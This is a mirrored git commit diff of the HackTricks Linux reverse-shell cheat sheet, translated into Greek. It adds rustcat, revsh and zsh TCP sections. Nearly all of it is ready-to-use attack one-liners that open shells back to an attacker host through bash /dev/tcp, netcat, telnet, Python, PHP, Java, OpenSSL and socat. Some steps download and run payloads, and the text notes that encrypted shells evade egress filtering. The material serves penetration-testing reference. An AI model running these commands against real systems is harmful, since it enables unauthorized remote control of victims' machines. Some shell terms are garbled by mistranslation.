mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/linux.md'] to el
This commit is contained in:
parent
3b3004df7d
commit
99d87e30a1
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αν έχετε ερωτήσεις σχετικά με οποιαδήποτε από αυτές τις shells μπορείτε να τις ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Αν έχετε ερωτήσεις σχετικά με οποιαδήποτε από αυτές τις θήκες, μπορείτε να τις ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
||||
**Μόλις αποκτήσετε μια reverse shell**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
|
||||
**Μόλις αποκτήσετε μια αντίστροφη θήκη**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
@ -21,9 +21,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
||||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
Μην ξεχάσετε να ελέγξετε με άλλες θήκες: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
|
||||
Μην ξεχάσετε να ελέγξετε με άλλα shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
|
||||
|
||||
### Συμβολική ασφαλής θήκη
|
||||
### Symbol safe shell
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
@ -51,7 +51,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
|
||||
Ένα προτεινόμενο εργαλείο για αυτό το σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
|
||||
|
||||
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα Python module προσαρμοσμένο στο RCE πλαίσιο του συστήματος στόχου σας. Για παράδειγμα, ένα module με το όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
|
||||
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα Python module προσαρμοσμένο στο RCE πλαίσιο του συστήματος στόχου σας. Για παράδειγμα, ένα module με όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
@ -75,7 +75,7 @@ response.raise_for_status()
|
||||
|
||||
return response.text
|
||||
```
|
||||
Και στη συνέχεια, μπορείτε να εκτελέσετε:
|
||||
Και τότε, μπορείτε να εκτελέσετε:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
@ -85,9 +85,9 @@ toboggan -m nix.py -i
|
||||
|
||||
Απλά χρειάζεται να τροποποιήσετε:
|
||||
|
||||
- Το URL του ευάλωτου host
|
||||
- Τη διεύθυνση URL του ευάλωτου host
|
||||
- Το πρόθεμα και το επίθημα του payload σας (αν υπάρχει)
|
||||
- Τον τρόπο αποστολής του payload (headers; data; extra info?)
|
||||
- Τον τρόπο αποστολής του payload (headers; data; επιπλέον πληροφορίες;)
|
||||
|
||||
Στη συνέχεια, μπορείτε απλά να **στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να αποκτήσετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1.3 δευτερολέπτων).
|
||||
|
||||
@ -105,7 +105,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
## Τελνέτ
|
||||
## Telnet
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
@ -124,7 +124,7 @@ while true; do nc -l <port>; done
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Πύθων
|
||||
## Python
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
@ -154,7 +154,7 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
|
||||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
## Τζάβα
|
||||
## Java
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
@ -219,6 +219,48 @@ or
|
||||
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
## Zsh (ενσωματωμένο TCP)
|
||||
```bash
|
||||
# Requires no external binaries; leverages zsh/net/tcp module
|
||||
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
|
||||
```
|
||||
## Rustcat (rcat)
|
||||
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – σύγχρονος listener παρόμοιος με το netcat γραμμένος σε Rust (συσκευασμένος στο Kali από το 2024).
|
||||
```bash
|
||||
# Attacker – interactive TLS listener with history & tab-completion
|
||||
rcat listen -ib 55600
|
||||
|
||||
# Victim – download static binary and connect back with /bin/bash
|
||||
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
|
||||
&& chmod +x /tmp/rcat \
|
||||
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
|
||||
```
|
||||
Χαρακτηριστικά:
|
||||
- Προαιρετική σημαία `--ssl` για κρυπτογραφημένη μεταφορά (TLS 1.3)
|
||||
- `-s` για να εκκινήσει οποιοδήποτε δυαδικό (π.χ. `/bin/sh`, `python3`) στον θύμα
|
||||
- `--up` για αυτόματη αναβάθμιση σε πλήρως διαδραστικό PTY
|
||||
|
||||
## revsh (κρυπτογραφημένο & έτοιμο για pivot)
|
||||
|
||||
`revsh` είναι ένας μικρός πελάτης/διακομιστής C που παρέχει πλήρες TTY μέσω ενός **κρυπτογραφημένου καναλιού Diffie-Hellman** και μπορεί προαιρετικά να συνδεθεί σε μια **διεύθυνση TUN/TAP** για αναστροφή τύπου VPN.
|
||||
```bash
|
||||
# Build (or grab a pre-compiled binary from the releases page)
|
||||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||||
|
||||
# Attacker – controller/listener on 443 with a pinned certificate
|
||||
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
|
||||
|
||||
# Victim – reverse shell over TLS to the attacker
|
||||
./revsh <ATTACKER-IP>:443
|
||||
```
|
||||
Χρήσιμες σημαίες:
|
||||
- `-b` : bind-shell αντί για reverse
|
||||
- `-p socks5://127.0.0.1:9050` : proxy μέσω TOR/HTTP/SOCKS
|
||||
- `-t` : δημιουργία διεπαφής TUN (reverse VPN)
|
||||
|
||||
Επειδή ολόκληρη η συνεδρία είναι κρυπτογραφημένη και πολυπλεξία, συχνά παρακάμπτει απλό φιλτράρισμα εξόδου που θα σκότωνε μια απλή `/dev/tcp` shell.
|
||||
|
||||
## OpenSSL
|
||||
|
||||
Ο Επιτιθέμενος (Kali)
|
||||
@ -239,7 +281,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Shell σύνδεσης
|
||||
### Bind shell
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
@ -305,7 +347,7 @@ Xnest :1
|
||||
```
|
||||
## Groovy
|
||||
|
||||
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη θηλή Java λειτουργεί επίσης για το Groovy
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη θηλή Java λειτουργεί επίσης για το Groovy
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
@ -318,5 +360,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||
- [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
- [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
- [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat)
|
||||
- [https://github.com/emptymonkey/revsh](https://github.com/emptymonkey/revsh)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user